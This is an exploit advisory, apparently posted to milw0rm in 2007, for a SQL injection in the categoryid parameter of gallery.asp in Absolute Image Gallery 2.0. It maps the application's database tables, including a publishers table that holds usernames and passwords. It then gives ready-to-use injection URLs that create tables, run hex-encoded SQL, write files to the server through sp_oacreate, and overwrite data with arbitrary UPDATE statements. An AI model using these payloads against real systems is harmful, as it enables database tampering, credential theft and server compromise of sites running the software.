Absolute Image Gallery Gallery.ASP (categoryid) MSSQL Injection Exploit
Type :
SQL Injection
Release Date :
{2007-03-15}
Product / Vendor :
Absolute Image Gallery
http://www.xigla.com/absoluteig/
Bug :
http://localhost/script/gallery.asp?action=viewimage&categoryid=-SQL Inj-
---------------------------------------------------------------------------------------------------------------------------------------------
Script Table/Colon Name :
---------------------------------------------------------------------------------------------------------------------------------------------
Table Name : articlefiles
fileid
filetitle
filename
articleid
filetype
filecomment
urlfile
---------------------------------------------------------------------------------------------------------------------------------------------
Table Name : articles
articleid
posted
lastupdate
headline
headlinedate
startdate
enddate
source
summary
articleurl
article
status
autoformat
publisherid
clicks
editor
relatedid
---------------------------------------------------------------------------------------------------------------------------------------------
Table Name : iArticlesZones
articleid
zoneid
---------------------------------------------------------------------------------------------------------------------------------------------
Table Name : plugins
pluginid
pplname
pplfile
ppldescription
---------------------------------------------------------------------------------------------------------------------------------------------
Table Name : PPL1reviews
reviewid
articleid
name
reviewdate
review
comments
isannonymous
---------------------------------------------------------------------------------------------------------------------------------------------
Table Name : publishers
publisherid
name
username
password
email
additional
plevel
---------------------------------------------------------------------------------------------------------------------------------------------
Table Name : publisherszones
publisherid
zoneid
---------------------------------------------------------------------------------------------------------------------------------------------
Table Name : xlaAIGcategories
categoryid
catname
catdesc
supercatid
lastupdate
catpath
images
allowupload
---------------------------------------------------------------------------------------------------------------------------------------------
Table Name : xlaAIGimages
imageid
imagename
imagedesc
imagefile
imagedate
imagesize
totalrating
totalreviews
hits
categoryid
status
uploadedby
additionalinfo
embedhtml
keywords
copyright
credit
source
datecreated
email
infourl
---------------------------------------------------------------------------------------------------------------------------------------------
Table Name : xlaAIGpostcards
dateposted
postcardid
imageid
bgcolor
bordercolor
fonttype
fontcolor
recipientname
recipientemail
greeting
bgsound
sendername
senderemail
sendermsg
---------------------------------------------------------------------------------------------------------------------------------------------
Table Name : zones
zonename
description
template
articlespz
zonefont
fontsize
fontcolor
showsource
showsummary
showdates
showtn
textalign
displayhoriz
cellcolor
targetframe
---------------------------------------------------------------------------------------------------------------------------------------------
MSSQL CMD Injection Exploit(For DBO Users) :
Absolute Image Gallery MSSQL CMD Injection Exploit
UniquE-Key{UniquE-Cracker}
UniquE@UniquE-Key.ORG
http://UniquE-Key.ORG
---------------------------------------------------------------------------------------------------------------------------------------------
Code Injection(For DBO Users) :
Add Table : http://localhost/script/gallery.asp?action=viewimage&categoryid=-1;Create+table+code+(txt+varchar(8000),id+int);--
ASCII Code Add Database : http://localhost/script/gallery.asp?action=viewimage&categoryid=-1;declare+@q+varchar(8000)+select+@q=0x696E7365727420696E746F2066736F373737287478742C6964292076616C7565732827272C3129+exec(@q);--
Code Injection : http://localhost/script/gallery.asp?action=viewimage&categoryid=-1;declare+@txt+varchar(8000);select+@txt+=+(select+top+1+txt+from+code+where+id+=+1);declare+@o+int,+@f+int,+@t+int,+@ret+int+exec+sp_oacreate+'scripting.filesystemobject',+@o+out+exec+sp_oamethod+@o,+'createtextfile',+@f+out,+'c:/host',+1+exec+@ret+=+sp_oamethod+@f,+'writeline',+NULL,+@txt;--
---------------------------------------------------------------------------------------------------------------------------------------------
UPDATE(ALL users) :
http://localhost/script/gallery.asp?action=viewimage&categoryid=-1 UPDATE table SET colon = 'x';--
---------------------------------------------------------------------------------------------------------------------------------------------
Tested :
Absolute Image Gallery 2.0
Vulnerable :
Absolute Image Gallery 2.0
Author :
UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org
# milw0rm.com [2007-03-15]